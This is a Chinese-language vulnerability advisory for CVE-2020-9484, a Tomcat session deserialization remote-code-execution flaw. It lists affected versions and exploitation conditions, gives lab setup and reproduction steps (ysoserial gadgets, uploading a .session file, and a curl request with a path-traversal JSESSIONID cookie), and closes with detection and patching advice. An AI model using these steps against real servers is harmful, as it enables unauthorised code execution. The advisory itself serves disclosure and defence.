漏洞概述
北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。
成功利用此漏洞需要同时满足以下4个条件:
1.攻击者能够控制服务器上文件的内容和文件名称
2.服务器PersistenceManager配置中使用了FileStore
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
漏洞影响
【威胁等级】
中危
【影响版本】
- Apache Tomcat 10.0.0-M1—10.0.0-M4
- Apache Tomcat 9.0.0.M1—9.0.34
- Apache Tomcat 8.5.0—8.5.54
- Apache Tomcat 7.0.0—7.0.103
漏洞复现
漏洞环境可以在本地搭建或者使用docker环境
【本地环境搭建】
- 官网下载漏洞版本链接:http://archive.apache.org/dist/tomcat/
- 配置tomcat的conf/context.xml文件:
<Context>
…
<Manager className=”org.apache.catalina.session.PersistentManager”
debug=”0″
saveOnRestart=”false”
maxActiveSession=”-1″
minIdleSwap=”-1″
maxIdleSwap=”-1″
maxIdleBackup=”-1″>
<Store className=”org.apache.catalina.session.FileStore” directory=”./session” />
</Manager>
</Context>
3. 部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:
dependencies {
compile ‘org.apache.commons:commons-collections4:4.0’
}
【docker环境搭建】
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy
【本地环境验证】
1、使用ysoserial工具生成commons-collections4依赖的gadget恶意序列化数据(这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:https://github.com/threedr3am/tomcat-cluster-session-sync-exp)
2、通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录(后缀必须是“.session”)
3、发起恶意请求,请求payload。
结果显示漏洞存在。
【docker环境验证】
执行以下命令进行利用
curl ‘http://127.0.0.1:8080/index.jsp‘ -H ‘Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy’
运行结果检查:
在tmp下创建rce目录,漏洞存在。
漏洞检测
【版本检查】
从Apache Tomcat官网下载的安装包名称中会包含Tomcat的版本号,如果解压后没有更改目录名,可通过查看文件夹名称来确定当前使用的版本;
如果解压后目录名称被修改过,或者通过Windows Service Installer方式安装,可使用软件自带的version模块来获取当前的版本。也可以进入Tomcat安装目录的bin目录,运行version.bat(Linux运行version.sh)后,可查看当前的软件版本号。
【配置检查】
查看conf/context.xml文件或具体项目的server.xml文件中,是否存在以下<Manager>节点
若当前版本在受影响范围内且在PersistenceManager配置中使用了FileStore,则可能存在安全风险。
修复建议
【通用修补】
目前官方已在最新版本中修复了该漏洞,官方下载链接:
【临时修补】
禁止使用Session持久化功能FileStore。(或单独配置sessionAttributeValueClassNameFilte的值确保只有特定属性的对象可以被序列化与反序列化)
参考链接:
https://tomcat.apache.org/security.html
https://github.com/threedr3am/tomcat-cluster-session-sync-exp